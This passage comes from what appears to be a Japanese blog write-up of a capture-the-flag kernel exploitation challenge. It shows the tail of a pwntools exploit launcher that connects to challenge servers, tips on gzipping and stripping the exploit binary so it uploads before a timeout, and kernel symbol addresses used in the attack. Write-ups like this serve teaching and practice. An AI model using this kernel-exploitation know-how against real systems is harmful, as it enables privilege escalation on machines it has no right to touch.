57        cmd = """
58          set follow-fork-mode parent
59        """
60        c = gdb.debug(FILENAME,cmd)
61      elif sys.argv[1][0]=="r":
62        c = remote(rhp1["host"],rhp1["port"])
63      elif sys.argv[1][0]=="v":
64        c = remote(rhp3["host"],rhp3["port"])
65    else:
66        c = remote(rhp2['host'],rhp2['port'])
67    exploit()
68    c.interactive()

アウトロ Link to this heading

問題サーバ生きてるやんけ、と思ってやってみたら、exploit バイナリの送信でタイムアウトになるわ。。。 取り敢えずローカルの画像貼っとこひょっとこ。


(追記 2021.02.16)

やっぱバイナリ送るときってdiet-libcみたいな軽量 libc(diet-libc は流石に古いか。muslとかuclibc)とリンクさせとかないとダメなのかな。 と思ったけど、gzip するのを忘れてただけだった。 あと strip するのも忘れてた。 この 2 つをちゃんとやったらサイズが 1/4 になったので glibc でいけました。(UPX しとくのも良いらしい)


いい問題。大切な要素が詰まってるし、難易度も簡単すぎず難しすぎず。 おいしかったです。やよい軒行ってきます。

symbols without KASLR Link to this heading

symbols.txt
1hashmap: 0xffffffffc0002540
2kmalloc_caches: 0xffffffff81981dc0
3__per_cpu_offset: 0xffffffff81980680

FGKASLR のせいでモジュール内の関数にブレーク貼れないのマジでストレスで胃が爆発霧散するかと思った(nokaslr指定しても無駄だし… :cry:)。まぁ起動する度に確認すれば良いんだけど。

参考 Link to this heading